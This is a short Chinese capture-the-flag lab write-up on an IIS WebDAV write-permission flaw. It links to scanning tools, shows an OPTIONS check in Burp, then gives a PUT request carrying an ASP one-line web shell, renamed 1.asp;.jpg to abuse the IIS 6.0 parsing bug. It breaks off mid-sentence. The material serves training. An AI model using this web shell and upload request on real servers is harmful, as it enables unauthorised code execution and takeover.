墨者学院 - IIS写权限漏洞分析溯源

该漏洞的产生原因来源于服务器配置不当造成，利用IIS PUT Scaner扫描有漏洞的iis，此漏洞主要是因为服务器开启了

webdav的组件导致的可以扫描到当前的操作，具体操作其实是通过webdav的OPTION来查询是否支持PUT。

 

 

iis scan工具链接

链接：https://pan.baidu.com/s/1LjeOMxJuNTpez1Se9i7PUw 密码：7m54

桂林老兵工具链接：

链接：https://pan.baidu.com/s/1DosFFiPpVQhag7W2BrNDLQ 密码：zfh3

 

使用iis scan工具链接可以得到 该站点可以put

但是使用桂林老兵无法put数据

一首凉凉。。

 

尝试用burp抓包修改写入 

 

repeater

修改GET为OPTIONS

查看可执行命令

 

增加或修改以下
PUT /2.txt HTTP/1.1
Host: 219.153.49.228:端口




<%eval request("tdl")%>

返回不是bad request或者404就行

更改一句名称，利用iis漏洞，我们更名为1.asp;.jpg，burp写入

关于iis6.0解析漏洞可看此文：